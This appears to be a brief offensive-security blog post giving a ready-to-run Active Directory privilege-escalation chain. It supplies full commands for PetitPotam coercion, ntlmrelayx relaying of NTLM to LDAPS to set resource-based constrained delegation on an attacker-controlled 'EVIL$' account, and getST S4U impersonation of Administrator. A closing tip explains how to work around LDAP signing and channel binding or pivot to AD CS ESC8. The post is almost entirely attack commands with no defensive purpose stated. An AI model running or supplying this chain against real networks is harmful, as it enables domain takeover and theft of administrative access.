Relay NTLM to LDAP to configure RBCD

Jul 20, 2026 · 1 min read

Coerce a machine, relay its NTLM to LDAP or LDAPS, and set msDS-AllowedToActOnBehalfOfOtherIdentity to a computer you control. Then S4U to that host.

bash

ntlmrelayx.py -t ldaps://dc -smb2support --delegate-access --escalate-user 'EVIL$'
PetitPotam.py -u user -p pass -d dom attacker victim

Finish with S4U.

bash

getST.py -spn cifs/victim.dom -impersonate Administrator dom/'EVIL$':'Passw0rd!'

Pro note: relaying to LDAP needs signing not enforced; if it is, relay to LDAPS and rely on channel binding being off, or pivot to AD CS ESC8. Check target protections first with a quick netexec signing scan so you pick the relay target that will actually accept the write.